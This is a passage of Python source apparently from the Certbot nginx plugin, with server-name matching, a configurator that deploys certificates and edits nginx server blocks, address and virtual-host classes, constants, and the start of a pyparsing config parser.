    if isinstance(entry, list):
        if condition(entry):
            func(entry)
        else:
            for item in entry:
                _do_for_subarray(item, condition, func)


def get_best_match(target_name, names):
    """Finds the best match for target_name out of names using the Nginx
    name-matching rules (exact > longest wildcard starting with * >
    longest wildcard ending with * > regex).

    :param str target_name: The name to match
    :param set names: The candidate server names
    :returns: Tuple of (type of match, the name that matched)
    :rtype: tuple

    """
    exact = []
    wildcard_start = []
    wildcard_end = []
    regex = []

    for name in names:
        if _exact_match(target_name, name):
            exact.append(name)
        elif _wildcard_match(target_name, name, True):
            wildcard_start.append(name)
        elif _wildcard_match(target_name, name, False):
            wildcard_end.append(name)
        elif _regex_match(target_name, name):
            regex.append(name)

    if len(exact) > 0:
        # There can be more than one exact match; e.g. eff.org, .eff.org
        match = min(exact, key=len)
        return ('exact', match)
    if len(wildcard_start) > 0:
        # Return the longest wildcard
        match = max(wildcard_start, key=len)
        return ('wildcard_start', match)
    if len(wildcard_end) > 0:
        # Return the longest wildcard
        match = max(wildcard_end, key=len)
        return ('wildcard_end', match)
    if len(regex) > 0:
        # Just return the first one for now
        match = regex[0]
        return ('regex', match)

    return (None, None)


def _exact_match(target_name, name):
    return target_name == name or '.' + target_name == name


def _wildcard_match(target_name, name, start):
    # Degenerate case
    if name == '*':
        return True

    parts = target_name.split('.')
    match_parts = name.split('.')

    # If the domain ends in a wildcard, do the match procedure in reverse
    if not start:
        parts.reverse()
        match_parts.reverse()

    # The first part must be a wildcard or blank, e.g. '.eff.org'
    first = match_parts.pop(0)
    if first != '*' and first != '':
        return False

    target_name = '.'.join(parts)
    name = '.'.join(match_parts)

    # Ex: www.eff.org matches *.eff.org, eff.org does not match *.eff.org
    return target_name.endswith('.' + name)


def _regex_match(target_name, name):
    # Must start with a tilde
    if len(name) < 2 or name[0] != '~':
        return False

    # After tilde is a perl-compatible regex
    try:
        regex = re.compile(name[1:])
        if re.match(regex, target_name):
            return True
        else:
            return False
    except re.error:  # pragma: no cover
        # perl-compatible regexes are sometimes not recognized by python
        return False


def _is_include_directive(entry):
    """Checks if an nginx parsed entry is an 'include' directive.

    :param list entry: the parsed entry
    :returns: Whether it's an 'include' directive
    :rtype: bool

    """
    return (isinstance(entry, list) and
            len(entry) == 2 and entry[0] == 'include' and
            isinstance(entry[1], str))


def _get_servernames(names):
    """Turns a server_name string into a list of server names

    :param str names: server names
    :rtype: list

    """
    whitespace_re = re.compile(r'\s+')
    names = re.sub(whitespace_re, ' ', names)
    return names.split(' ')


def parse_server(server):
    """Parses a list of server directives.

    :param list server: list of directives in a server block
    :rtype: dict

    """
    parsed_server = {'addrs': set(),
                     'ssl': False,
                     'names': set()}

    for directive in server:
        if not directive:
            continue
        if directive[0] == 'listen':
            addr = obj.Addr.fromstring(directive[1])
            parsed_server['addrs'].add(addr)
            if not parsed_server['ssl'] and addr.ssl:
                parsed_server['ssl'] = True
        elif directive[0] == 'server_name':
            parsed_server['names'].update(
                _get_servernames(directive[1]))
        elif directive[0] == 'ssl' and directive[1] == 'on':
            parsed_server['ssl'] = True

    return parsed_server


def _add_directives(block, directives, replace):
    """Adds or replaces directives in a config block.

    When replace=False, it's an error to try and add a directive that already
    exists in the config block with a conflicting value.

    When replace=True, a directive with the same name MUST already exist in the
    config block, and the first instance will be replaced.

    ..todo :: Find directives that are in included files.

    :param list block: The block to replace in
    :param list directives: The new directives.

    """
    for directive in directives:
        _add_directive(block, directive, replace)
    if block and '\n' not in block[-1]:  # could be "   \n  " or ["\n"] !
        block.append(nginxparser.UnspacedList('\n'))


REPEATABLE_DIRECTIVES = set(['server_name', 'listen', 'include'])
COMMENT = ' managed by Certbot'
COMMENT_BLOCK = [' ', '#', COMMENT]


def _comment_directive(block, location):
    """Add a comment to the end of the line at location."""
    next_entry = block[location + 1] if location + 1 < len(block) else None
    if isinstance(next_entry, list) and next_entry:
        if len(next_entry) >= 2 and next_entry[-2] == "#" and COMMENT in next_entry[-1]:
            return
        elif isinstance(next_entry, nginxparser.UnspacedList):
            next_entry = next_entry.spaced[0]
        else:
            next_entry = next_entry[0]

    block.insert(location + 1, COMMENT_BLOCK[:])
    if next_entry is not None and "\n" not in next_entry:
        block.insert(location + 2, '\n')


def _add_directive(block, directive, replace):
    """Adds or replaces a single directive in a config block.

    See _add_directives for more documentation.

    """
    directive = nginxparser.UnspacedList(directive)
    if len(directive) == 0 or directive[0] == '#':
        # whitespace or comment
        block.append(directive)
        return

    # Find the index of a config line where the name of the directive matches
    # the name of the directive we want to add. If no line exists, use None.
    location = next((index for index, line in enumerate(block)
                     if line and line[0] == directive[0]), None)
    if replace:
        if location is None:
            raise errors.MisconfigurationError(
                'expected directive for {0} in the Nginx '
                'config but did not find it.'.format(directive[0]))
        block[location] = directive
        _comment_directive(block, location)
    else:
        # Append directive. Fail if the name is not a repeatable directive name,
        # and there is already a copy of that directive with a different value
        # in the config file.
        directive_name = directive[0]
        directive_value = directive[1]
        if location is None or (isinstance(directive_name, str) and
                                directive_name in REPEATABLE_DIRECTIVES):
            block.append(directive)
            _comment_directive(block, len(block) - 1)
        elif block[location][1] != directive_value:
            raise errors.MisconfigurationError(
                'tried to insert directive "{0}" but found '
                'conflicting "{1}".'.format(directive, block[location]))







"""Nginx Configuration"""
import logging
import os
import re
import shutil
import socket
import subprocess
import time

import OpenSSL
import zope.interface

from acme import challenges
from acme import crypto_util as acme_crypto_util

from certbot import constants as core_constants
from certbot import crypto_util
from certbot import errors
from certbot import interfaces
from certbot import util
from certbot import reverter

from certbot.plugins import common

from certbot_nginx import constants
from certbot_nginx import tls_sni_01
from certbot_nginx import obj
from certbot_nginx import parser


logger = logging.getLogger(__name__)


@zope.interface.implementer(interfaces.IAuthenticator, interfaces.IInstaller)
@zope.interface.provider(interfaces.IPluginFactory)
class NginxConfigurator(common.Plugin):
    # pylint: disable=too-many-instance-attributes,too-many-public-methods
    """Nginx configurator.

    .. todo:: Add proper support for comments in the config. Currently,
        config files modified by the configurator will lose all their comments.

    :ivar config: Configuration.
    :type config: :class:`~certbot.interfaces.IConfig`

    :ivar parser: Handles low level parsing
    :type parser: :class:`~certbot_nginx.parser`

    :ivar str save_notes: Human-readable config change notes

    :ivar reverter: saves and reverts checkpoints
    :type reverter: :class:`certbot.reverter.Reverter`

    :ivar tup version: version of Nginx

    """

    description = "Nginx Web Server plugin - Alpha"

    hidden = True

    @classmethod
    def add_parser_arguments(cls, add):
        add("server-root", default=constants.CLI_DEFAULTS["server_root"],
            help="Nginx server root directory.")
        add("ctl", default=constants.CLI_DEFAULTS["ctl"], help="Path to the "
            "'nginx' binary, used for 'configtest' and retrieving nginx "
            "version number.")

    @property
    def nginx_conf(self):
        """Nginx config file path."""
        return os.path.join(self.conf("server_root"), "nginx.conf")

    def __init__(self, *args, **kwargs):
        """Initialize an Nginx Configurator.

        :param tup version: version of Nginx as a tuple (1, 4, 7)
            (used mostly for unittesting)

        """
        version = kwargs.pop("version", None)
        super(NginxConfigurator, self).__init__(*args, **kwargs)

        # Verify that all directories and files exist with proper permissions
        self._verify_setup()

        # Files to save
        self.save_notes = ""

        # Add number of outstanding challenges
        self._chall_out = 0

        # These will be set in the prepare function
        self.parser = None
        self.version = version
        self._enhance_func = {"redirect": self._enable_redirect}

        # Set up reverter
        self.reverter = reverter.Reverter(self.config)
        self.reverter.recovery_routine()

    @property
    def mod_ssl_conf(self):
        """Full absolute path to SSL configuration file."""
        return os.path.join(self.config.config_dir, constants.MOD_SSL_CONF_DEST)

    # This is called in determine_authenticator and determine_installer
    def prepare(self):
        """Prepare the authenticator/installer.

        :raises .errors.NoInstallationError: If Nginx ctl cannot be found
        :raises .errors.MisconfigurationError: If Nginx is misconfigured
        """
        # Verify Nginx is installed
        if not util.exe_exists(self.conf('ctl')):
            raise errors.NoInstallationError

        # Make sure configuration is valid
        self.config_test()

        # temp_install must be run before creating the NginxParser
        temp_install(self.mod_ssl_conf)
        self.parser = parser.NginxParser(
            self.conf('server-root'), self.mod_ssl_conf)

        # Set Version
        if self.version is None:
            self.version = self.get_version()

    # Entry point in main.py for installing cert
    def deploy_cert(self, domain, cert_path, key_path,
                    chain_path=None, fullchain_path=None):
        # pylint: disable=unused-argument
        """Deploys certificate to specified virtual host.

        .. note:: Aborts if the vhost is missing ssl_certificate or
            ssl_certificate_key.

        .. note:: Nginx doesn't have a cert chain directive.
            It expects the cert file to have the concatenated chain.
            However, we use the chain file as input to the
            ssl_trusted_certificate directive, used for verify OCSP responses.

        .. note:: This doesn't save the config files!

        :raises errors.PluginError: When unable to deploy certificate due to
            a lack of directives or configuration

        """
        if not fullchain_path:
            raise errors.PluginError(
                "The nginx plugin currently requires --fullchain-path to "
                "install a cert.")

        vhost = self.choose_vhost(domain)
        cert_directives = [['\n', 'ssl_certificate', ' ', fullchain_path],
                           ['\n', 'ssl_certificate_key', ' ', key_path]]

        # OCSP stapling was introduced in Nginx 1.3.7. If we have that version
        # or greater, add config settings for it.
        stapling_directives = []
        if self.version >= (1, 3, 7):
            stapling_directives = [
                ['\n    ', 'ssl_trusted_certificate', ' ', chain_path],
                ['\n    ', 'ssl_stapling', ' ', 'on'],
                ['\n    ', 'ssl_stapling_verify', ' ', 'on'], ['\n']]

        if len(stapling_directives) != 0 and not chain_path:
            raise errors.PluginError(
                "--chain-path is required to enable "
                "Online Certificate Status Protocol (OCSP) stapling "
                "on nginx >= 1.3.7.")

        try:
            self.parser.add_server_directives(vhost.filep, vhost.names,
                                              cert_directives, replace=True)
            self.parser.add_server_directives(vhost.filep, vhost.names,
                                              stapling_directives, replace=False)
            logger.info("Deployed Certificate to VirtualHost %s for %s",
                        vhost.filep, vhost.names)
        except errors.MisconfigurationError as error:
            logger.debug(error)
            logger.warning(
                "Cannot find a cert or key directive in %s for %s. "
                "VirtualHost was not modified.", vhost.filep, vhost.names)
            # Presumably break here so that the virtualhost is not modified
            return False

        self.save_notes += ("Changed vhost at %s with addresses of %s\n" %
                            (vhost.filep,
                             ", ".join(str(addr) for addr in vhost.addrs)))
        self.save_notes += "\tssl_certificate %s\n" % fullchain_path
        self.save_notes += "\tssl_certificate_key %s\n" % key_path
        if len(stapling_directives) > 0:
            self.save_notes += "\tssl_trusted_certificate %s\n" % chain_path
            self.save_notes += "\tssl_stapling on\n"
            self.save_notes += "\tssl_stapling_verify on\n"



    #######################
    # Vhost parsing methods
    #######################
    def choose_vhost(self, target_name):
        """Chooses a virtual host based on the given domain name.

        .. note:: This makes the vhost SSL-enabled if it isn't already. Follows
            Nginx's server block selection rules preferring blocks that are
            already SSL.

        .. todo:: This should maybe return list if no obvious answer
            is presented.

        .. todo:: The special name "$hostname" corresponds to the machine's
            hostname. Currently we just ignore this.

        :param str target_name: domain name

        :returns: ssl vhost associated with name
        :rtype: :class:`~certbot_nginx.obj.VirtualHost`

        """
        vhost = None

        matches = self._get_ranked_matches(target_name)
        if not matches:
            # No matches. Create a new vhost with this name in nginx.conf.
            filep = self.parser.loc["root"]
            new_block = [['server'], [['\n', 'server_name', ' ', target_name]]]
            self.parser.add_http_directives(filep, new_block)
            vhost = obj.VirtualHost(filep, set([]), False, True,
                                    set([target_name]), list(new_block[1]))
        elif matches[0]['rank'] in xrange(2, 6):
            # Wildcard match - need to find the longest one
            rank = matches[0]['rank']
            wildcards = [x for x in matches if x['rank'] == rank]
            vhost = max(wildcards, key=lambda x: len(x['name']))['vhost']
        else:
            vhost = matches[0]['vhost']

        if vhost is not None:
            if not vhost.ssl:
                self._make_server_ssl(vhost)

        return vhost

    def _get_ranked_matches(self, target_name):
        """Returns a ranked list of vhosts that match target_name.
        The ranking gives preference to SSL vhosts.

        :param str target_name: The name to match
        :returns: list of dicts containing the vhost, the matching name, and
            the numerical rank
        :rtype: list

        """
        # Nginx chooses a matching server name for a request with precedence:
        # 1. exact name match
        # 2. longest wildcard name starting with *
        # 3. longest wildcard name ending with *
        # 4. first matching regex in order of appearance in the file
        matches = []
        for vhost in self.parser.get_vhosts():
            name_type, name = parser.get_best_match(target_name, vhost.names)
            if name_type == 'exact':
                matches.append({'vhost': vhost,
                                'name': name,
                                'rank': 0 if vhost.ssl else 1})
            elif name_type == 'wildcard_start':
                matches.append({'vhost': vhost,
                                'name': name,
                                'rank': 2 if vhost.ssl else 3})
            elif name_type == 'wildcard_end':
                matches.append({'vhost': vhost,
                                'name': name,
                                'rank': 4 if vhost.ssl else 5})
            elif name_type == 'regex':
                matches.append({'vhost': vhost,
                                'name': name,
                                'rank': 6 if vhost.ssl else 7})
        return sorted(matches, key=lambda x: x['rank'])

    def get_all_names(self):
        """Returns all names found in the Nginx Configuration.

        :returns: All ServerNames, ServerAliases, and reverse DNS entries for
                  virtual host addresses
        :rtype: set

        """
        all_names = set()

        for vhost in self.parser.get_vhosts():
            all_names.update(vhost.names)

            for addr in vhost.addrs:
                host = addr.get_addr()
                if common.hostname_regex.match(host):
                    # If it's a hostname, add it to the names.
                    all_names.add(host)
                elif not common.private_ips_regex.match(host):
                    # If it isn't a private IP, do a reverse DNS lookup
                    # TODO: IPv6 support
                    try:
                        socket.inet_aton(host)
                        all_names.add(socket.gethostbyaddr(host)[0])
                    except (socket.error, socket.herror, socket.timeout):
                        continue

        return all_names

    def _get_snakeoil_paths(self):
        # TODO: generate only once
        tmp_dir = os.path.join(self.config.work_dir, "snakeoil")
        le_key = crypto_util.init_save_key(
            key_size=1024, key_dir=tmp_dir, keyname="key.pem")
        key = OpenSSL.crypto.load_privatekey(
            OpenSSL.crypto.FILETYPE_PEM, le_key.pem)
        cert = acme_crypto_util.gen_ss_cert(key, domains=[socket.gethostname()])
        cert_pem = OpenSSL.crypto.dump_certificate(
            OpenSSL.crypto.FILETYPE_PEM, cert)
        cert_file, cert_path = util.unique_file(os.path.join(tmp_dir, "cert.pem"))
        with cert_file:
            cert_file.write(cert_pem)
        return cert_path, le_key.file

    def _make_server_ssl(self, vhost):
        """Make a server SSL.

        Make a server SSL based on server_name and filename by adding a
        ``listen IConfig.tls_sni_01_port ssl`` directive to the server block.

        .. todo:: Maybe this should create a new block instead of modifying
            the existing one?

        :param vhost: The vhost to add SSL to.
        :type vhost: :class:`~certbot_nginx.obj.VirtualHost`

        """
        snakeoil_cert, snakeoil_key = self._get_snakeoil_paths()

        # the options file doesn't have a newline at the beginning, but there
        # needs to be one when it's dropped into the file
        ssl_block = (
            [['\n    ', 'listen', ' ', '{0} ssl'.format(self.config.tls_sni_01_port)],
             ['\n    ', 'ssl_certificate', ' ', snakeoil_cert],
             ['\n    ', 'ssl_certificate_key', ' ', snakeoil_key],
             ['\n']] +
            self.parser.loc["ssl_options"])

        self.parser.add_server_directives(
            vhost.filep, vhost.names, ssl_block, replace=False)
        vhost.ssl = True
        vhost.raw.extend(ssl_block)
        vhost.addrs.add(obj.Addr(
            '', str(self.config.tls_sni_01_port), True, False))

    def get_all_certs_keys(self):
        """Find all existing keys, certs from configuration.

        :returns: list of tuples with form [(cert, key, path)]
            cert - str path to certificate file
            key - str path to associated key file
            path - File path to configuration file.
        :rtype: set

        """
        return self.parser.get_all_certs_keys()

    ##################################
    # enhancement methods (IInstaller)
    ##################################
    def supported_enhancements(self):  # pylint: disable=no-self-use
        """Returns currently supported enhancements."""
        return ['redirect']

    def enhance(self, domain, enhancement, options=None):
        """Enhance configuration.

        :param str domain: domain to enhance
        :param str enhancement: enhancement type defined in
            :const:`~certbot.constants.ENHANCEMENTS`
        :param options: options for the enhancement
            See :const:`~certbot.constants.ENHANCEMENTS`
            documentation for appropriate parameter.

        """
        try:
            return self._enhance_func[enhancement](
                self.choose_vhost(domain), options)
        except (KeyError, ValueError):
            raise errors.PluginError(
                "Unsupported enhancement: {0}".format(enhancement))
        except errors.PluginError:
            logger.warning("Failed %s for %s", enhancement, domain)

    def _enable_redirect(self, vhost, unused_options):
        """Redirect all equivalent HTTP traffic to ssl_vhost.

        Add rewrite directive to non https traffic

        .. note:: This function saves the configuration

        :param vhost: Destination of traffic, an ssl enabled vhost
        :type vhost: :class:`~certbot_nginx.obj.VirtualHost`

        :param unused_options: Not currently used
        :type unused_options: Not Available
        """
        redirect_block = [[
            ['\n    ', 'if', ' ', '($scheme != "https") '],
            [['\n        ', 'return', ' ', '301 https://$host$request_uri'],
             '\n    ']
        ], ['\n']]
        self.parser.add_server_directives(
            vhost.filep, vhost.names, redirect_block, replace=False)
        logger.info("Redirecting all traffic to ssl in %s", vhost.filep)

    ######################################
    # Nginx server management (IInstaller)
    ######################################
    def restart(self):
        """Restarts nginx server.

        :raises .errors.MisconfigurationError: If either the reload fails.

        """
        nginx_restart(self.conf('ctl'), self.nginx_conf)

    def config_test(self):  # pylint: disable=no-self-use
        """Check the configuration of Nginx for errors.

        :raises .errors.MisconfigurationError: If config_test fails

        """
        try:
            util.run_script([self.conf('ctl'), "-c", self.nginx_conf, "-t"])
        except errors.SubprocessError as err:
            raise errors.MisconfigurationError(str(err))

    def _verify_setup(self):
        """Verify the setup to ensure safe operating environment.

        Make sure that files/directories are setup with appropriate permissions
        Aim for defensive coding... make sure all input files
        have permissions of root.

        """
        uid = os.geteuid()
        util.make_or_verify_dir(
            self.config.work_dir, core_constants.CONFIG_DIRS_MODE, uid)
        util.make_or_verify_dir(
            self.config.backup_dir, core_constants.CONFIG_DIRS_MODE, uid)
        util.make_or_verify_dir(
            self.config.config_dir, core_constants.CONFIG_DIRS_MODE, uid)

    def get_version(self):
        """Return version of Nginx Server.

        Version is returned as tuple. (ie. 2.4.7 = (2, 4, 7))

        :returns: version
        :rtype: tuple

        :raises .PluginError:
            Unable to find Nginx version or version is unsupported

        """
        try:
            proc = subprocess.Popen(
                [self.conf('ctl'), "-c", self.nginx_conf, "-V"],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE)
            text = proc.communicate()[1]  # nginx prints output to stderr
        except (OSError, ValueError) as error:
            logging.debug(error, exc_info=True)
            raise errors.PluginError(
                "Unable to run %s -V" % self.conf('ctl'))

        version_regex = re.compile(r"nginx/([0-9\.]*)", re.IGNORECASE)
        version_matches = version_regex.findall(text)

        sni_regex = re.compile(r"TLS SNI support enabled", re.IGNORECASE)
        sni_matches = sni_regex.findall(text)

        ssl_regex = re.compile(r" --with-http_ssl_module")
        ssl_matches = ssl_regex.findall(text)

        if not version_matches:
            raise errors.PluginError("Unable to find Nginx version")
        if not ssl_matches:
            raise errors.PluginError(
                "Nginx build is missing SSL module (--with-http_ssl_module).")
        if not sni_matches:
            raise errors.PluginError("Nginx build doesn't support SNI")

        nginx_version = tuple([int(i) for i in version_matches[0].split(".")])

        # nginx < 0.8.48 uses machine hostname as default server_name instead of
        # the empty string
        if nginx_version < (0, 8, 48):
            raise errors.NotSupportedError("Nginx version must be 0.8.48+")

        return nginx_version

    def more_info(self):
        """Human-readable string to help understand the module"""
        return (
            "Configures Nginx to authenticate and install HTTPS.{0}"
            "Server root: {root}{0}"
            "Version: {version}".format(
                os.linesep, root=self.parser.loc["root"],
                version=".".join(str(i) for i in self.version))
        )

    ###################################################
    # Wrapper functions for Reverter class (IInstaller)
    ###################################################
    def save(self, title=None, temporary=False):
        """Saves all changes to the configuration files.

        :param str title: The title of the save. If a title is given, the
            configuration will be saved as a new checkpoint and put in a
            timestamped directory.

        :param bool temporary: Indicates whether the changes made will
            be quickly reversed in the future (ie. challenges)

        :raises .errors.PluginError: If there was an error in
            an attempt to save the configuration, or an error creating a
            checkpoint

        """
        save_files = set(self.parser.parsed.keys())

        try:
            # Create Checkpoint
            if temporary:
                self.reverter.add_to_temp_checkpoint(
                    save_files, self.save_notes)
            else:
                self.reverter.add_to_checkpoint(save_files,
                                            self.save_notes)
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))

        self.save_notes = ""

        # Change 'ext' to something else to not override existing conf files
        self.parser.filedump(ext='')
        if title and not temporary:
            try:
                self.reverter.finalize_checkpoint(title)
            except errors.ReverterError as err:
                raise errors.PluginError(str(err))

        return True

    def recovery_routine(self):
        """Revert all previously modified files.

        Reverts all modified files that have not been saved as a checkpoint

        :raises .errors.PluginError: If unable to recover the configuration

        """
        try:
            self.reverter.recovery_routine()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        self.parser.load()

    def revert_challenge_config(self):
        """Used to cleanup challenge configurations.

        :raises .errors.PluginError: If unable to revert the challenge config.

        """
        try:
            self.reverter.revert_temporary_config()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        self.parser.load()

    def rollback_checkpoints(self, rollback=1):
        """Rollback saved checkpoints.

        :param int rollback: Number of checkpoints to revert

        :raises .errors.PluginError: If there is a problem with the input or
            the function is unable to correctly revert the configuration

        """
        try:
            self.reverter.rollback_checkpoints(rollback)
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))
        self.parser.load()

    def view_config_changes(self):
        """Show all of the configuration changes that have taken place.

        :raises .errors.PluginError: If there is a problem while processing
            the checkpoints directories.

        """
        try:
            self.reverter.view_config_changes()
        except errors.ReverterError as err:
            raise errors.PluginError(str(err))

    ###########################################################################
    # Challenges Section for IAuthenticator
    ###########################################################################
    def get_chall_pref(self, unused_domain):  # pylint: disable=no-self-use
        """Return list of challenge preferences."""
        return [challenges.TLSSNI01]

    # Entry point in main.py for performing challenges
    def perform(self, achalls):
        """Perform the configuration related challenge.

        This function currently assumes all challenges will be fulfilled.
        If this turns out not to be the case in the future. Cleanup and
        outstanding challenges will have to be designed better.

        """
        self._chall_out += len(achalls)
        responses = [None] * len(achalls)
        chall_doer = tls_sni_01.NginxTlsSni01(self)

        for i, achall in enumerate(achalls):
            # Currently also have chall_doer hold associated index of the
            # challenge. This helps to put all of the responses back together
            # when they are all complete.
            chall_doer.add_chall(achall, i)

        sni_response = chall_doer.perform()
        # Must restart in order to activate the challenges.
        # Handled here because we may be able to load up other challenge types
        self.restart()

        # Go through all of the challenges and assign them to the proper place
        # in the responses return value. All responses must be in the same order
        # as the original challenges.
        for i, resp in enumerate(sni_response):
            responses[chall_doer.indices[i]] = resp

        return responses

    # called after challenges are performed
    def cleanup(self, achalls):
        """Revert all challenges."""
        self._chall_out -= len(achalls)

        # If all of the challenges have been finished, clean up everything
        if self._chall_out <= 0:
            self.revert_challenge_config()
            self.restart()


def nginx_restart(nginx_ctl, nginx_conf="/etc/nginx.conf"):
    """Restarts the Nginx Server.

    .. todo:: Nginx restart is fatal if the configuration references
        non-existent SSL cert/key files. Remove references to /etc/letsencrypt
        before restart.

    :param str nginx_ctl: Path to the Nginx binary.

    """
    try:
        proc = subprocess.Popen([nginx_ctl, "-c", nginx_conf, "-s", "reload"],
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        stdout, stderr = proc.communicate()

        if proc.returncode != 0:
            # Maybe Nginx isn't running
            nginx_proc = subprocess.Popen([nginx_ctl, "-c", nginx_conf],
                                          stdout=subprocess.PIPE,
                                          stderr=subprocess.PIPE)
            stdout, stderr = nginx_proc.communicate()

            if nginx_proc.returncode != 0:
                # Enter recovery routine...
                raise errors.MisconfigurationError(
                    "nginx restart failed:\n%s\n%s" % (stdout, stderr))

    except (OSError, ValueError):
        raise errors.MisconfigurationError("nginx restart failed")
    # Nginx can take a moment to recognize a newly added TLS SNI servername, so sleep
    # for a second. TODO: Check for expected servername and loop until it
    # appears or return an error if looping too long.
    time.sleep(1)


def temp_install(options_ssl):
    """Temporary install for convenience."""
    # Check to make sure options-ssl.conf is installed
    if not os.path.isfile(options_ssl):
        shutil.copyfile(constants.MOD_SSL_CONF_SRC, options_ssl)






"""Module contains classes used by the Nginx Configurator."""
import re

from certbot.plugins import common


class Addr(common.Addr):
    r"""Represents an Nginx address, i.e. what comes after the 'listen'
    directive.

    According to the `documentation`_, this may be address[:port], port,
    or unix:path. The latter is ignored here.

    The default value if no directive is specified is \*:80 (superuser)
    or \*:8000 (otherwise). If no port is specified, the default is
    80. If no address is specified, listen on all addresses.

    .. _documentation:
       http://nginx.org/en/docs/http/ngx_http_core_module.html#listen

    .. todo:: Old-style nginx configs define SSL vhosts in a separate
              block instead of using 'ssl' in the listen directive.

    :param str addr: addr part of vhost address, may be hostname, IPv4, IPv6,
        "", or "\*"
    :param str port: port number or "\*" or ""
    :param bool ssl: Whether the directive includes 'ssl'
    :param bool default: Whether the directive includes 'default_server'

    """
    def __init__(self, host, port, ssl, default):
        super(Addr, self).__init__((host, port))
        self.ssl = ssl
        self.default = default

    @classmethod
    def fromstring(cls, str_addr):
        """Initialize Addr from string."""
        parts = str_addr.split(' ')
        ssl = False
        default = False
        host = ''
        port = ''

        # The first part must be the address
        addr = parts.pop(0)

        # Ignore UNIX-domain sockets
        if addr.startswith('unix:'):
            return None

        tup = addr.partition(':')
        if re.match(r'^\d+$', tup[0]):
            # This is a bare port, not a hostname. E.g. listen 80
            host = ''
            port = tup[0]
        else:
            # This is a host-port tuple. E.g. listen 127.0.0.1:*
            host = tup[0]
            port = tup[2]

        # The rest of the parts are options; we only care about ssl and default
        while len(parts) > 0:
            nextpart = parts.pop()
            if nextpart == 'ssl':
                ssl = True
            elif nextpart == 'default_server':
                default = True

        return cls(host, port, ssl, default)

    def __str__(self):
        parts = ''
        if self.tup[0] and self.tup[1]:
            parts = "%s:%s" % self.tup
        elif self.tup[0]:
            parts = self.tup[0]
        else:
            parts = self.tup[1]

        if self.default:
            parts += ' default_server'
        if self.ssl:
            parts += ' ssl'

        return parts

    def __repr__(self):
        return "Addr(" + self.__str__() + ")"

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return (self.tup == other.tup and
                    self.ssl == other.ssl and
                    self.default == other.default)
        return False


class VirtualHost(object):  # pylint: disable=too-few-public-methods
    """Represents an Nginx Virtualhost.

    :ivar str filep: file path of VH
    :ivar set addrs: Virtual Host addresses (:class:`set` of :class:`Addr`)
    :ivar set names: Server names/aliases of vhost
        (:class:`list` of :class:`str`)
    :ivar list raw: The raw form of the parsed server block

    :ivar bool ssl: SSLEngine on in vhost
    :ivar bool enabled: Virtual host is enabled

    """

    def __init__(self, filep, addrs, ssl, enabled, names, raw):
        # pylint: disable=too-many-arguments
        """Initialize a VH."""
        self.filep = filep
        self.addrs = addrs
        self.names = names
        self.ssl = ssl
        self.enabled = enabled
        self.raw = raw

    def __str__(self):
        addr_str = ", ".join(str(addr) for addr in self.addrs)
        return ("file: %s\n"
                "addrs: %s\n"
                "names: %s\n"
                "ssl: %s\n"
                "enabled: %s" % (self.filep, addr_str,
                                 self.names, self.ssl, self.enabled))

    def __repr__(self):
        return "VirtualHost(" + self.__str__().replace("\n", ", ") + ")\n"

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return (self.filep == other.filep and
                    list(self.addrs) == list(other.addrs) and
                    self.names == other.names and
                    self.ssl == other.ssl and self.enabled == other.enabled)

        return False






"""nginx plugin constants."""
import pkg_resources


CLI_DEFAULTS = dict(
    server_root="/etc/nginx",
    ctl="nginx",
)
"""CLI defaults."""


MOD_SSL_CONF_DEST = "options-ssl-nginx.conf"
"""Name of the mod_ssl config file as saved in `IConfig.config_dir`."""

MOD_SSL_CONF_SRC = pkg_resources.resource_filename(
    "certbot_nginx", "options-ssl-nginx.conf")
"""Path to the nginx mod_ssl config file found in the Certbot
distribution."""

def os_constant(key):
    # XXX TODO: In the future, this could return different constants
    #           based on what OS we are running under.  To see an
    #           approach to how to handle different OSes, see the
    #           apache version of this file.  Currently, we do not
    #           actually have any OS-specific constants on Nginx.
    """
    Get a constant value for operating system

    :param key: name of cli constant
    :return: value of constant for active os
    """
    return CLI_DEFAULTS[key]






"""Certbot nginx plugin."""






"""Very low-level nginx config parser based on pyparsing."""
# Forked from https://github.com/fatiherikli/nginxparser (MIT Licensed)
import copy
import logging
import string

from pyparsing import (
    Literal, White, Word, alphanums, CharsNotIn, Combine, Forward, Group,
    Optional, OneOrMore, Regex, ZeroOrMore)
from pyparsing import stringEnd
from pyparsing import restOfLine

logger = logging.getLogger(__name__)

class RawNginxParser(object):
    # pylint: disable=expression-not-assigned
    """A class that parses nginx configuration with pyparsing."""

    # constants
    space = Optional(White())
    nonspace = Regex(r"\S+")
    left_bracket = Literal("{").suppress()
    right_bracket = space.leaveWhitespace() + Literal("}").suppress()
    semicolon = Literal(";").suppress()
    key = Word(alphanums + "_/+-.")
    dollar_var = Combine(Literal('$') + Regex(r"[^\{\};,\s]+"))
    condition = Regex(r"\(.+\)")
    # Matches anything that is not a special character, and ${SHELL_VARS}, AND
    # any chars in single or double quotes
    # All of these COULD be upgraded to something like
    # https://stackoverflow.com/a/16130746
    dquoted = Regex(r'(\".*\")')
    squoted = Regex(r"(\'.*\')")
    nonspecial = Regex(r"[^\{\};,]")
    varsub = Regex(r"(\$\{\w+\})")
    # nonspecial nibbles one character at a time, but the other objects take
    # precedence.  We use ZeroOrMore to allow entries like "break ;" to be
    # parsed as assignments
    value = Combine(ZeroOrMore(dquoted | squoted | varsub | nonspecial))

    location = CharsNotIn("{};," + string.whitespace)
    # modifier for location uri [ = | ~ | ~* | ^~ ]
    modifier = Literal("=") | Literal("~*") | Literal("~") | Literal("^~")

    # rules
    comment = space + Literal('#') + restOfLine()

    assignment = space + key + Optional(space + value, default=None) + semicolon
    location_statement = space + Optional(modifier) + Optional(space + location + space)
    if_statement = space + Literal("if") + space + condition + space
    charset_map_statement = space + Literal("charset_map") + space + value + space + value

    map_statement = space + Literal("map") + space + nonspace + space + dollar_var + space
    # This is NOT an accurate way to parse nginx map entries; it's almost
    # certianly too permissive and may be wrong in other ways, but it should
    # preserve things correctly in mmmmost or all cases.
    #
    #    - I can neither prove nor disprove that it is corect wrt all escaped
    #      semicolon situations
    # Addresses https://github.com/fatiherikli/nginxparser/issues/19
    map_pattern = Regex(r'".*"') | Regex(r"'.*'") | nonspace
    map_entry = space + map_pattern + space + value + space + semicolon
    map_block = Group(
